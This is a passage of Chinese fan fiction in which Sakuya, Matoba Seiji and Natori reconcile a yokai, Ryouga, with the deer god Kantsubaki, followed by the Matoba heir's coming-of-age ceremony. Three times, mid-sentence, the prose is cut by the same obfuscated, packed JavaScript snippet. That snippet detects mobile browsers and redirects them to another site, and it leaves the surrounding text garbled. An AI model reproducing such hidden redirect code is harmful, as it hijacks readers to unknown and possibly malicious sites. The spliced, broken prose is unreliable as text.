清凉的微风拂过,掀起树叶摩挲的声音,植物的气息萦绕在鼻尖,星星点点的暖意落在身上,这让朔也觉得自己正处于一个温和静谧的环境中。 他睁开眼睛,在斑驳的光点中渐渐看清了摇曳的枝叶,其间点缀着如红云般的花朵,这是……山茶花? 朔也迟钝地看了好一会儿,才反应过来,他此刻应该正在梦里。 一张脸突然出现在朔也的视野中,正是他和的场静司之前封印的那个妖怪。 朔也被吓了一跳,顿时想抬手把那张脸推开,但梦里的他并没有动,反而仍保持着躺着的姿势。 那个妖怪的脸又凑近了些,“自己”好像说了什么,那个妖怪大笑起来,然后把他拽了起来。 朔也逐渐意识到,他并不是在做梦,而是在另一个人……或者说,是鹿神的记忆里。 在这段记忆中,朔也虽然有着鹿神的视角,但听不到说话的声音,只能从妖怪的表情来猜测它们相处的情形。 虽然那个妖怪之前口口声声说要把神社砸了,把鹿神赶走,但在记忆里的过去,妖怪和鹿神看上去非常要好。 它们经常待在一起,有时是山里,有时是海边,偶尔还会跑到人类的镇子上,但待的最多的地方,是在一棵山茶花树边。 鹿神十分喜欢这棵花树,经常给花树浇水、捉叶子上的虫子,在狂风骤雨中保护根枝。 那棵花树越长越高大繁盛,当花期来临时,山茶花开遍枝头,鹿神和妖怪就在和煦的秋日里,一边赏花一边说笑。 所以,是后来发生了什么事情,让它们决裂了吗? 就在朔也困惑的时候,鹿神记忆里的妖怪不知道为什么突然变得恼怒起来,它一直在和鹿神说些什么,时而愤怒,时而烦躁,有时无精打采,有时又歇斯底里…… 直到最后,妖怪一脸怨怼地转过身,决绝地离开了。 鹿神久久地站在原地,看着花朵落尽的山茶花树和飘散而落的雪花。 这次朔也终于听到了一个声音。 「抱歉。」 * 朔也睁开眼睛,有些迷糊地看了一圈,一时没明白自己在哪儿。 “朔也,你醒了?”的场静司微皱着眉,俯身打量着朔也的神色, “有哪里不舒服吗?” “我没事。”朔也坐起身,揉了揉睡得有点发蒙的脑袋,嘟囔道:“我做了个梦,梦到了鹿神的记忆。” “是通灵啊。”的场静司稍微松了口气。 朔也看着一片漆黑的窗外,吃惊道:“静司先生,我睡了很久吗?” “晚饭时间已经过了哦。”的场静司平静地看着朔也,叹息道:“我应该阻止你拿那个面具的。” 他低估了朔也对那些东西的吸引力。 可能是因为朔也的力量太强,又或者是那只异瞳太特殊,朔也对非常之物的感知非常敏锐。 而反过来说,那些东西似乎也特别容易被朔也吸引,这导致朔也无意中的举止都有可能引来不必要的“结缘”。 “怪我太好奇了。”朔也郁闷地抱怨道:“明明只是随手擦拭了一下……啊,那个面具后来怎样了?” “面具消散了,应该是回到鹿神那里了。”的场静司思忖道:“我已经告知过宫司,他会在例大祭结束时确认本殿内的情况。” 朔也点点头,他想起刚才那个梦境,不禁有些出神。 的场静司正准备问点什么,房间的门突然被人轻敲了几下。 “请进。” 门被拉开,名取周一端着餐盘走进来。 “铃木君果然醒了,正好晚餐也准备好了。” 朔也惊讶地看过去,“名取先生?” “这么吃惊吗?”名取周一无奈笑道:“我和的场一样很担心你啊,在确定你的安危之前,我是不会离开的。” 看着摆到矮桌上的餐食,朔也不好意思地笑了笑,“谢谢你,名取先生。” 确认的场静司和名取都已经吃过晚餐后,朔也坐到桌前,开始填充自己饿了好久的胃,一时之间,宽敞的和室里只能听到朔也咀嚼的声音。 有点怪异的氛围开始在房间里漫延。 朔也好不容易吞下嘴里的食物,小心翼翼地抬头看向对面不远处,两个青年隔着一段距离盘腿坐着,此刻都正安静地看着他。 朔也突然没什么胃口了。 这两个人作为朋友的默契就是一起盯着他吃饭吗? “呃……”朔也小心地问道:“你们……吵架了吗?” “嗯?” “诶?” 两人对视了一眼。 的场静司一脸无事发生的平静微笑。 名取周一先是讶异但不知道想到什么又有些不爽,但最终克制情绪也露出了无事发生的笑容。 所以这到底是怎么回事啊? 难道是名取先生忍受不了静司先生的说话方式,导致一直在生闷气吗? 但两个人的友情不像是假的哎,真是诡异…… 朔也搞不懂大人们别扭的友谊,干脆转移话题, “名取先生参演的剧我有在看哦,超帅气的!” “啊,铃木君竟然也在看吗?”名取的笑容忽然变得灿烂而华丽,很有营业感地说道:“谢谢你的支持,我会继续努力的。” “嗯,我很喜欢侦探题材的影视剧,这次名取先生扮演的高智商侦探很有趣,搭档的女警员也很酷。” 朔也想了想,又补充道:“就是爱情戏份有点多了,但这个应该不算缺点,我们班很多同学都挺喜欢的。” 听到这么认真的评价,名取在意外之余又莫名有点尴尬。 一直没说话的的场静司突然轻笑了一声。 名取还没反应,正准备放心吃饭的朔也头都大了,静司先生这声突兀的笑声,他就算昧着良心也不敢说不是故意的。 “呃,静司先生也有看哦!对成年观众来说应该也是很精彩的作品吧。” 名取看向的场静司,朔也一同看了过去,他在心里祈祷静司先生别再故意逗名取先生了。 不知道是看懂了朔也的眼神还是听到了朔也的心声,的场静司只是笑眯眯地说道:“确实很精彩。” 虽然是赞美的话,但朔也总觉得名取先生还是生气了。 他再也不敢看两个大人,开始埋头苦吃。 * 晚饭后,朔也打起精神把梦境里的情形分享了一下。 “不知道那个妖怪为什么想让人类赶走鹿神,但它很在意面具和山茶花树的话,应该是依然重视着鹿神。” 朔也看着的场静司和名取周一,猜测道:“可能是朋友间产生了什么误解?” 的场静司站起身,说道:“直接问问那个妖怪吧。” 在的场静司去取封印陶壶的间隙,朔也犹豫了一会儿,还是忍不住询问道:“名取先生,你身上的那个……没问题吗?” 朔也不知道该怎么称呼那个东西,只能含糊过去。 他第一次见名取时没有发现这个,之后两人又很少碰面,所以直到某次看到在电视中出镜的名取时,朔也才发现那个在青年面颊上游走的东西。 “啊,只是一颗来历不明的‘痣’,也许是某种未知的妖怪吧,因为没法赶走,就只能这样了。”名取不在意地解释道。 反而是朔也很担心,“那对你的身体有影响吗?比如不舒服,或有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751169|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碍健康之类的?” 看着少年关心又担忧的眼神,名取露出温和的微笑,安慰道:“没事的,它和我一直相安无事,大概只是在我的身体里暂时寄居吧。” 这样的说法让厌恶妖怪的朔也皱起眉,更忧心了。 他看向正待在名取手上的那颗“痣”,专注的目光仿佛像手术刀一般在“痣”上刮过,那颗“痣”似乎察觉到什么,瞬间跑走了。 “名取先生,我会努力帮你寻找驱逐它的办法的。”朔也认真承诺道。 “呃,谢谢你,铃木君。”少年真诚的神情和话语触动了名取,已经习惯圆滑表达的他一时间竟有些无措,不知道该如何回应。 “我还以为的场会告诉你呢,关于这个。” “啊,虽然静司先生和名取先生是朋友,但总觉得这种事情问本人更好。”朔也微笑起来,感叹道:“所以这次能遇见名取先生实在太好了!” “诶?你觉得我们、呃,我是说,我和的场是朋友吗?”名取很吃惊。 “不是一直都是吗?”朔也疑惑地看着他,“我第一次见到名取先生的时候,你和静司先生就很熟稔了哎。” 能一起躲在桌子下偷吃甜点,这样怎么都得是朋友才会做的事吧? “而且静司先生也时常会和我说起你的事情。” 如果只是一般熟人的话,除非他主动询问,否则静司先生是不会想到的。 “啊,这样吗……” 名取有些意外,但心里却是高兴的,他还以为…… “不过名取先生,你们会经常吵架吗?”朔也好奇地问道。 “诶?!铃木君为什么会这么想?” “因为静司先生的说话方式有时候容易惹人生气。”朔也微微吐槽道:“尤其是他故意这么做的话。” “啊,这家伙有时候……”真的很恶劣! 名取及时把后半句吞了回去,但对朔也的话他倒是有一百分的认同,大概是有着属于强者的傲慢吧,的场有时候说的话真的很让人火大! “所以名取先生要说出来哦,如果感到生气的话。”朔也笑着说道:“不然静司先生可是会得寸进尺的。” 朔也的坦率让名取有点惊讶,但更多的是似曾相识的熟悉感,他再一次在朔也身上感觉到了和的场静司一样的东西。 当然,这两个人有很大不同,所以两人的相似之处一旦浮现出来就显得格外突出。 看上去,在的场家成长的朔也受到了的场静司的很多影响,而这也正是之前名取和的场静司发生争吵的原由。 不,说“争吵”并不准确,其实那更像是名取对的场的单方面质问。 无论是朔也对妖怪的处理方式,亦或是面对非常之物而展现出来的过于大胆的行为,都让名取看到了的场静司的影子,这个影子之上印刻着的场一门的痕迹。 虽然名取和朔也的交集很少,不算熟识,但因为出身相似的缘故,名取一直很关注朔也,他也一直有着隐隐的担忧。 的场一门的行事理念冷酷到让许多人憎恶,名取不想看到朔也变成遵循着那种理念而不择手段的家伙。 “啊,对了,名取先生可以给我签个名吗?” “啊?”少年人的思维之活泼跳跃让名取一时有些转不过弯。 “我的朋友飒真和他妈妈都很喜欢名取先生参演的侦探剧。”朔也笑道:“如果能拿到你的签名,他一定很开心!” “当然可以!”回过神的名取周一顿时露出营业微笑,热情许诺道:“还可以to签哦~” “哇!那太好了!” 拿着陶壶回来的的场静司,看着眼前其乐融融的两人,突然感到一种微妙的不爽。 20. 第二十章 蓼牙 * 朔也和的场静司,还有名取周一,三个人围坐在桌边,齐齐看着矮桌上的阵法,那中央摆着一个封印陶壶。 “这样就可以了吗?”朔也好奇地问。 的场静司点点头,“它现在清醒着,能听见我们的声音,也可以说话。” “那它现在就在听吧?”朔也盯着陶壶,“怎么不说话?” “……”by陶壶 名取看了另外两人一眼,暗暗叹了口气,转而冲陶壶问道:“壶中的妖怪,如果你想了结和鹿神之间的恩怨,就配合我们解决当下的事情。” 陶壶里的妖怪依旧一声不吭。 朔也想了想,索性提议道:“反正面具已经归还给鹿神了,妖怪也被封印了,人类也没太大损失,要不就这样吧。” “什么?!你把面具还给它了!可恶的人类!!” 陶壶里的妖怪终于憋不住了,突然咋咋呼呼起来。 瞧,这不是会说话么? 朔也看了看名取,又和的场静司对视了一眼,狡黠地笑起来。 名取瞥了一眼的场静司纵容的笑容,心里很是无奈,继续问道:“你为什么想让我们赶走鹿神?” “可恶的人类,竟然敢欺骗我!本大爷是不会告诉你的!” 气急败坏的妖怪拒绝配合,无论名取怎么询问都只是骂骂咧咧。 这样下去不是办法,朔也想了想,说道:“鹿神让我看了一段祂的记忆,当时你头也不回的离开,祂很难过哦。” 正准备继续骂的妖怪卡壳了,沉默了好一会儿才支支吾吾地问道:“真、真的吗?它很难过?” 回想着梦里的场景,朔也说道:“祂给你道歉了,但你没有听见,祂在山茶花树下等了你很久。” 这次妖怪沉默地更久,就在朔也怀疑它睡着了的时候,听到陶壶里传来细细的啜泣声。 朔也很是无语,不解地问道:“你们曾经很要好吧?去哪儿都要待在一起,陪伴着度过了那么多快乐的日子,为什么突然决裂了呢?” 妖怪呜呜呜地哭出声来,抽泣着说道:“都怪你们人类!为什么一定要它去做山神?” 朔也惊诧地看向的场静司,想起他告诉自己的关于山神的传说。 “我叫蓼牙,它在成为山神之前叫寒椿,我们是在这座山中一起长大的好友。” 壶中的妖怪终于冷静下来,讲述了一段往事。 * 蓼牙和寒椿曾经在山中过着无忧无虑的日子。 那个时候的人类远没有现在这么繁盛,但也在山下慢慢形成了村落,而后又逐渐壮大,有了镇子的模样。 聚集在一起的人类非常热闹,他们有各种摊贩,还会庆祝各种节日,这些都让寒椿十分好奇。 寒椿和蓼牙不一样,它不排斥人类,有樵夫在山中迷路时,寒椿还会显露身形,引着樵夫走出大山。 于是没过多久,山中有一只白色神鹿的消息就在人类当中流传开来。 渐渐地,山中的小路边多出一些神龛,进山的人们路过神龛时便会虔诚祈愿,祈祷神鹿能够庇佑他们平安离开,寒椿逐渐将人类的祈愿当做了自己的责任。 蓼牙闷闷地说道:“寒椿太傻了,它被人类的意愿裹挟了,忘记了人类的死活和我们并不相关。” “我劝它不要再管人类的事情,和我一起远离人类,去更深处的山里。”蓼牙的声音低落下去,“但它舍不得那棵山茶花树,不愿离开。” “我愿意给寒椿再种一千棵山茶花,可它依旧不愿意。” 壶里的妖怪抽噎了一声,抱怨道:“我知道,它被人类的虚伪蒙骗了,那些人类不过是在索取妖怪的能力,却谎称是对神明的供奉!” 讲到这里,蓼牙冷哼一声,幸灾乐祸地说道:“所以没过多久,哄骗妖怪的人类就遭遇了天罚,所有的田地都变得干涸,长不出任何食物。” 一直静静听着的朔也瞬间了然,“所以人类就为鹿神建造了神社?” 蓼牙沉默了一会儿,无可奈何地说道:“是的,那时候的人类就像疯了一样,他们建造神社,打造神舆,抬着神舆在山中各处进行祭拜,祈求山神降灵。” “这座山哪有什么山神?但人类固执地认为寒椿就是山神。” 想起那段日子,蓼牙忍不住打了个哆嗦。 “人类的愿力如同诅咒一样,聚集到寒椿体内,它开始发生我不理解的变化……” 蓼牙的声音里充满深深的恐惧,“你们根本不会明白那有多可怕!一个妖怪,竟然因为人类的意愿而变成了另一幅模样。” 朔也睁大眼睛,对于从妖怪视角描述的情形,竟然产生了一丝共情。 “我感觉到,那是带着寒椿逃走的最后的时机!” 这一次,蓼牙沉默了很久。 那个最后的时机,他也错过了。 更准确地说,他无能为力。 “寒椿被人类的意识同化了,它甚至觉得,只有它留下来,才能拯救那些人。” 蓼牙只感到悔恨和痛苦。 “人类在神社里为新的山神举行降灵仪式那天,我盗走了寒椿的面具,我以为那会让仪式失败……” 但是显然没有。 寒椿依旧成为了山神。 朔也没想到之前无心说的那句话,竟然是真的。 妖怪被裹挟着成为了神明。 “所以你想砸掉神社,让人类赶走鹿神,是觉得那样它就会变回原来的样子吗?” “我只是……”蓼牙显得消沉而挫败,“只是不知道还能做什么……” 妖怪的讲述让在座的三个人类都安静了一会。 场静司率先说道:“鹿神成为神明后除非堕落,不然是不会再成为妖怪的,而且即便堕落成妖怪,那也不会是你以为的妖怪。” “我知道。”蓼牙低声应道。 “既然如此,你因为那棵山茶花树去骚扰人类,或者砸掉神社、赶走鹿神,都没有意义。”的场静司平静地说道:“最后的下场不过是被我们驱逐或祓除罢了。” 蓼牙闷不吭声。它并非不知道这些,只是、只是…… “蓼牙,你觉得寒椿变了,但寒椿也许并不这么想。” 朔也思忖道:“祂大概只是喜欢保护弱小的东西,被弱小的存在需要着、依赖着,这也许就是祂想要的。” “而且祂一直都记着你的事情,你是祂的朋友,即便祂成为了山神,这一点也不会改变。” 蓼牙又呜呜呜地哭起来,甚至有越哭越大声的趋势。 朔也尴尬地看了看另外两人,他也没料到这个之前嚣张得不得了的妖怪竟然这么爱哭。 “总之,蓼牙,你自己好好考虑,总不会想一直被封印吧!” 哭泣的蓼牙抽空应了一声,然后就泡在泪水里不可自拔了。 朔也悄悄松了口气,麻烦的事情应该就快结束了。 * 几个人在神社里待了一晚,第二天临走之前,朔也对宫司表示想再去参拜一下鹿神。 宫司看着朔也手中抱着的竹制花器,欣然同意,引着他和的场静司去往拜殿。 朔也将竹制花器放在供台上,双手合十默默祈愿。 「鹿神大人,铃木朔也在此谨禀。」 「在下已将梦中所托之情倾诉于故友蓼牙。」 「蓼牙愧于往事,羞于相见。」 「特请在下献上山椿,以表思绪。」 「唯愿寒椿、蓼牙,再日相逢。」 「恳请鹿神大人垂听,谨此上禀。」 朔也默念完祝词,就听见隐约的骚动。 他抬眼望过去,发现宫司和其他几位神职人员正看着供台上的山茶花窃窃私语。 竹制花器中插着一枝山茶花,那是今早由名取的式神从隔壁镇子的那棵山茶花树上摘来的。 现在还未到真正的花期,这枝山茶花上原本只有几个花苞。 但现在,花苞全都热烈盛开,绛红花朵点缀着金色花蕊,很是美丽。 “看来鹿神大人非常喜爱呢!” 宫司高兴极了,看向朔也的眼神愈发和蔼,“这孩子和鹿神大人有特别的缘分啊!” 面对宫司的热情,朔也也不知道怎么解释通灵的事情,只能求助地看向的场静司。 的场静司微微一笑,问起宫司关于本殿的情形。 说起这个,宫司更高兴了,但因涉及神明之物,他不便说太明确,只是含糊解释道:“以后神社大概会更兴盛吧。” 的场静司了然颔首,和朔也一起辞行。 宫司特意将两人送到神社门口,辞别前再次邀请两人来参加神社的新年祭活动,并热情地表示会为朔也准备神社独有的新年果子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751170|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 带着被封印的妖怪等在神社外的名取周一正好看见这一幕,忍不住问道:“看来参拜很顺利?” “嗯!”朔也用力点头,“山茶花盛开了!” 接着他冲陶壶劝说道:“鹿神大人很开心,完全没计较你的事,我看你还是早点亲自去道歉吧!” 陶壶一声不吭。 朔也难得翻了个白眼,吐槽道:“胆小的家伙。” “你小子说谁胆小呢?!”蓼牙顿时嚷嚷起来,“如果不是你们卑鄙地欺骗本大爷,趁我不备封印了我,我早就去见寒椿了!” “那我们现在解除封印,你敢马上就去吗?” “哼!那我现在就去!” 朔也看向的场静司,的场静司暗暗叹息一声,终于还是妥协似地说道:“这是名取家的委托。” 名取对上朔也隐隐带着恳求的视线,又瞥了一眼的场静司的神情,差点愉悦地笑出声。 “它已经保证过不再去骚扰那户人家了,那棵山茶花树也由那户人家处理,我留着它也没有用处,不如让它回到该回的地方。” 朔也顿时笑了起来,冲陶壶威胁道:“蓼牙,你以后要是再敢对人类干坏事,我会毫不留情地祓除你。” “呵,你小子根本不是我的对手!” “我还会告诉鹿神大人。” 蓼牙被噎住,郁闷地冷哼一声,不耐烦地说道:“知道了。” 的场静司解开封印,蓼牙从陶壶里涌出,再次化为少年人的样子,它并没有马上开溜,反而是停在朔也身前。 朔也不解地看着它。 “怎么了?你不会又不敢去了吧?” “本大爷会去的!” 蓼牙不爽地呲了下牙,接着表情变得十分别扭,它的视线来回游移,始终没落在朔也身上。 “我、我听说,除妖师都有……式神,你,呃,你……” 哼哼唧唧了好一会儿,蓼牙索性破罐子破摔,骄傲地抬起下巴,恩赐一般地说道:“要是你小子求我的话,本大爷倒是可以考虑看看。” “不要。” 朔也想都没想地拒绝了。 “喂,你这家伙!到底知不知道我有多强!”蓼牙不可置信地瞪大眼睛。 “我不喜欢妖怪,也不想要式神。”朔也平静地说着,语气却很坚决。 蓼牙的表情顿时变得十分复杂,它“嘁”了一声,骄傲地扭过头。 “算了,本大爷也不喜欢除妖师!” 蓼牙打算离开,但犹豫了一下,还是掏出一个东西递给朔也。 “你小子也算帮了我,下次……需要我的话,就对它说出我的名字。” 这次朔也没有拒绝,他接过那个东西,发现是一颗用草茎拴着的动物牙齿。 一阵风突然刮了起来,少年人的身形腾空而起,幻化为一只银灰色的巨兽,向远处的天空跃去。 妖怪的声音在空气里回荡。 「再会了,朔也。」 “哦呀,原形竟然是山猫吗?”的场静司饶有兴致地眺望着。 “山猫?” 朔也看着手里的牙齿。 所以这是山猫的牙齿咯,嗯,比起什么奇怪的妖怪,勉强还算可以接受。 “终于结束了。” 望着远去的妖怪,一旁的名取终于彻底放松下来。 “周一,要和我们一起离开吗?司机可以送你到市区。”的场静司笑着邀请道。 “啊,谢谢,不用了,我还要去见委托人一家。” 名取周一看向的场家的两人,“这次麻烦你们了,之后有需要的话请联系我。” 的场静司意味不明地笑了笑。 朔也叮嘱道:“名取先生,别忘了寄签名照给我哦,我们说好的。” 名取开朗地笑起来。 “绝对不会忘的,朔也,要继续加油哦~”就算生活在的场家,也请继续保持你的温柔之心。 名取摆摆手,转身离开了。 看着青年的背影,朔也若有所思。 “总觉得名取先生很高兴的样子。”不是装出来的笑容,而是真的很开心。 的场静司轻哼了一声,突然抬手狠狠揉了揉朔也的头发。 “诶??静司先生!” 朔也郁闷地想,比起他作为青春期少年的善变,明明大人们才更善变吧! 21. 第二十一章 临近 * 在神社的事情过去一周后,的场静司和朔也分享了最新的情况。 据说因为山茶花树一夜之间提前盛开,那户人家突然不打算出售花树了,现在已将那棵山茶花用结界保护起来,并拜为神明之物。 那位富豪听说之后没再强求,反而提出要为山茶花树修建一座精美的神龛。 听到这样的消息,朔也思考了一会儿,心情复杂地说道:“虽然像是一个圆满的结局,但不知道为什么,我反而觉得他们像之前那样各取所需更好……” 的场静司不在意地笑了笑,“人与非人之物的‘缘起’,是不会断绝的。不正是因为这样,除妖师才会存在吗?” “也是呢。” 朔也坐在矮桌前,懒洋洋地撑着头,看羽毛长齐了一些的八咫专心啄食盘子里的坚果。 的场静司看着朔也,突然有些好奇。 “朔也,现在问似乎有点早,但我还是很想知道,你有考虑过以后不做除妖师吗?” 朔也抬眼看过去,发现的场静司没有在开玩笑,才说道:“之前不是和静司先生说过吗?在决定成为除妖师之前我已经认真考虑过了哦。” “我有这样的能力,如果不做除妖师的话,反而会被这种能力困扰,所以我的未来里没有‘不做除妖师’的选项。” 的场静司撑着下巴,笑眯眯地说道:“不愧是朔也,总是给我坚定的回答。” “不过,我也认真考虑过如果某天失去能力的话,该怎么做。” 的场静司惊讶地挑眉,“哦呀,竟然考虑过这种情况吗?” “毕竟也是有这种可能性嘛。” 朔也一直觉得,如果那只异瞳的问题被“解决”的话,也许自己会失去看见妖怪的能力。 “在的场家工作的人,也不是所有人都拥有这种能力。”朔也认真地说道:“所以如果我失去能力的话,会努力做其他工作的,应该多少也能给静司先生帮上忙吧。” 的场一门涉及的产业众多,更不用说维系各界人脉也是很繁重的事务,这些事情如今正是依靠着很多能干的普通人呢。 “因为有这种考虑,大学阶段我会选择经济类或者管理类的专业。”说到这个,朔也微微皱起眉,担心道:“不知道高中会怎样,要保持偏差值估计得更努力才行。” “不过真到那时候,我应该会很遗憾吧,因为再也无法和静司先生看到一样的东西了。” 朔也随手逗了逗八咫,一直没听见的场静司说话,他抬眼看过去,被对方专注的眼神吓了一跳。 “静司先生,干嘛露出这么奇怪的表情!” “哦呀,奇怪吗?”的场静司收敛情绪,笑道:“总觉得自己稍微不小心,就会输给朔也,完败的那种哦。” 朔也无语地撇撇嘴,他已经学会无视静司先生偶尔会说的奇怪话了。 “啊,要是朔也就读大学的话,那不是很久都不能见面吗?”的场静司不满地抱怨道:“我会很不习惯的!” 朔也不以为意,“现在也经常见不到啊。” 别看的场静司现在有空和他坐在一起闲聊,实际上,作为的场一门的准首领,加上临近的成年仪式,的场静司最近忙到几乎看不见人影。 朔也甚至怀疑他现在这点空闲都是从哪里偷跑才得来的。 “那不一样哦。” 的场静司像是累了一样,突然趴到矮桌上,侧着头看向朔也。 “朔也不问我吗?如果考虑不做除妖师的话……” 朔也愣了一下,他仔细打量着的场静司的神情,忽然伸手盖住对方的眼睛。 “休息一会儿吧,静司先生。” 手掌隔着绷带依然能感觉到睫毛的触感。 “静司先生这么厉害,就算不做除妖师,其他事情也会做得很好。”朔也平静地说道:“但我觉得,静司先生最想做的还是除妖师。” 手心被睫毛扫了扫,然后安静了下去。 的场静司抬起一只手,摸索着握住朔也的手腕,没有其他动作,只是轻轻地握着。 朔也看不到的场静司的表情,只能感受到手腕上的热度,明明隔着绷带,他却觉得那个温度比自己以为的要更热一些。 这样的触感有些异样,和以往的场静司牵着他手的感觉非常不同。 朔也一时间不知道该不该收回手,握着他手腕的手明明很轻,却给他一种难以抽离的感觉。 变得静谧的空间里突然多了一种焦灼起来的氛围。 朔也逐渐有些慌乱,他努力地集中精神,但思维却像躲避球一样乱窜。 “呃,说起来!”朔也终于抓到一缕思绪,问道:“静司先生,你为什么要故意惹名取先生生气呢?” “哦呀,被你发现了。”的场静司闷笑一声,松开握着朔也手腕的手。 朔也顺势收回自己的手,但的场静司依然闭着眼睛。 朔也松了口气,感叹道:“果然是因为名取先生脾气太好了吗?” “他可不是一直都像现在这么圆滑。”的场静司漫不经心地说道:“但不够强的话,还是圆滑点更好吧。” “很真诚但恶劣的建议。”朔也评价道。 的场静司轻轻笑了笑。 “朔也,对迷惘的人,不能太温柔哦,那只会让他们更软弱,冷酷反而能逼迫他们看清自己的方向。” “是吗?”朔也琢磨了一会儿,坦率地说道:“我做不到这样。” 这一次的场静司睁开了眼睛,他望着朔也,眼里流露出温柔的笑意。 “朔也什么都不用做,只要你在,就像有了坐标一样,让人很安心。” 朔也不自在地移开视线,嘟囔道:“听上去像箭靶啊……” “静司,你果然在这里!” 朔也的房门被拉开,七濑一脸怒容站在门口。 “大家都在等你,别偷懒了!” “哦呀,这么快就被找到了。” 的场静司淡定地抱怨着,慢吞吞地坐直身体,重新扎好头发,这才在七濑强忍怒火的眼神中站起身。 “那待会儿再见了,朔也。” “打扰了,朔也,下次他再过来偷懒,你直接赶走就好!” 目送两人走远,朔也关上门,真正地松了口气,无力地扑倒在榻榻米上。 总觉得刚刚发生了什么不得了的事情。 但,完全不敢细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751171|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 八咫突然蹦到朔也的头上,啄了啄少年的头发。 朔也手忙脚乱地爬起来,扒拉下八咫,看了看书桌上摆着的课本。 算了,来做习题吧! 啊,名取先生的签名照,得记得放进书包,这次让飒真请我吃什么好呢? * “这是什么?” 飒真拿着朔也递过来的信封好奇地翻看着。 “你去祭典给我带的手信吗?” “啊,算是吧!” 朔也挠了挠下巴,语气突然暧昧起来。 “飒真酱~是你喜欢的人托我给你的哦~” “诶?!!” 飒真瞪大眼睛,接着就意识到这是对方的恶作剧,刚想打开信封的手又顿住了。 “噫,你的语气好恶心!里面装的不会是什么乱七八糟的东西吧?” “哈哈,放心啦,我敢保证我说的是真的!” 飒真打量了朔也几眼,才将信将疑地打开信封,小心地拿出里面的东西。 “诶!是侦探先生的签名照哎!哇!还是to签?!” 飒真吃惊地瞪大眼睛,“竟然还有给妈妈的?!朔也,你到底去干什么了?” “好难得听你说这么多语气词。”朔也笑嘻嘻地解释道:“静司先生和名取先生是朋友,那天我们正好遇上,就帮你要了这个,怎么样?不错吧!” “岂止不错!”飒真还陷在震惊里,“我妈妈估计要爱你胜过爱我了!” “那倒不必。”朔也开心笑起来,“飒真今天得请我吃炒面面包!” “行吧,只能吃一个哦。”飒真把信封小心翼翼地放进书包,抱怨道:“这个月买了新游戏,好穷的。” “谁让你每次都不听劝呢。” 朔也一边幸灾乐祸,一边翻开练习册。 飒真看到练习册上密密麻麻的题目,顿时撇过头。 “朔也,是我的错觉吗?你最近有点用功过头了哎。” “没办法嘛,本来就快到考试周了,我下周还得请假。”朔也叹着气,“现在不多补一点后面会很危险啊。” “请假?你要去哪儿?” “的场家有重要的活动,我得帮忙。” 飒真来了兴趣,好奇问道:“什么活动?要进行很久吗?” “唔。”朔也想了想,解释道:“类似大家族纪念某种传承的重要仪式吧,大概两三天的样子。” “哇,好隆重。” 飒真想起的场家那栋大得出奇的传统豪宅,倒是不意外他们会举办这种活动。 “那你需要做些什么呢?” “我的话,应该是打杂、跑腿以及帮忙招待客人吧。” 虽然朔也想做更多,比如保护静司先生、祓除那个妖怪什么的,但很现实地讲,以他现在的能力完全做不到,如果擅自行动,搞不好还会添乱,所以只能踏实做做自己力所能及的事情。 “听上去很辛苦哎。”飒真想象了一下,光是在那么大的宅院里跑腿都挺可怕了。 “还好啦。”朔也含糊地答道。 其实这样的安排还是的场家两代当家人争执一番后才确定下来的。 22. 第二十二章 争执 * 打杂、跑腿或者帮忙招待客人,这些事情本来轮不到朔也这个大人们眼中的“小孩子”来做,按照的场家主的想法,他更想让朔也跟在的场静司身边,认识更多重要人脉,这也是他一贯的主张。 只是这么多年下来,他也知道静司在这件事情上有种莫名的执拗。 但一个马上就要成为下一任首领的人,没有任性的权力。 的场家当年培养七濑时,可从来没有这么溺爱过,被过度保护的孩子以后是很难担起重任的。 “朔也远比其他人优秀,他没必要在这种时候证明自己。” 的场静司看着父亲被符咒遮住的右眼,冷淡地说道:“当年在您的继任仪式上,有人为您付出了代价,而我不需要。” 的场家主盯着儿子,冷哼一声,“你倒是越来越狂妄了。” 的场静司垂下眼睛,沉默不语。 “那孩子确实很出色,最近有不少人向我提及他。”的场家主缓和了语气,“我很喜爱朔也,没想过让他代你做什么。” “只是你太年轻了,外面那些家伙难免有些想法,让朔也正式表明立场,对你的继任也有好处。” “那些质疑不是向来都无关紧要吗?”的场静司嗤笑一声,坚持道:“仪式有多危险您心知肚明,我是不会让朔也去冒险的。” “的场家的人不至于无能到保护不了一个孩子。”的场家主打量着儿子的神情,怀疑道:“还是说,朔也有什么特别之处?前几天鹿鸣神宫的宫司告诉我,那孩子很受神明的喜爱。” 的场静司看着父亲,平静说道:“那只是巧合罢了。” “既然没什么问题,那也是时候让朔也参与到的场一门的事务中了。” “父亲,看来您忘记了,我们答应过铃木先生,朔也在16岁之前不会参加这些。” “不过是不参与委托罢了。”的场家主不在意地说道:“而且铃木的想法早就不重要了。” 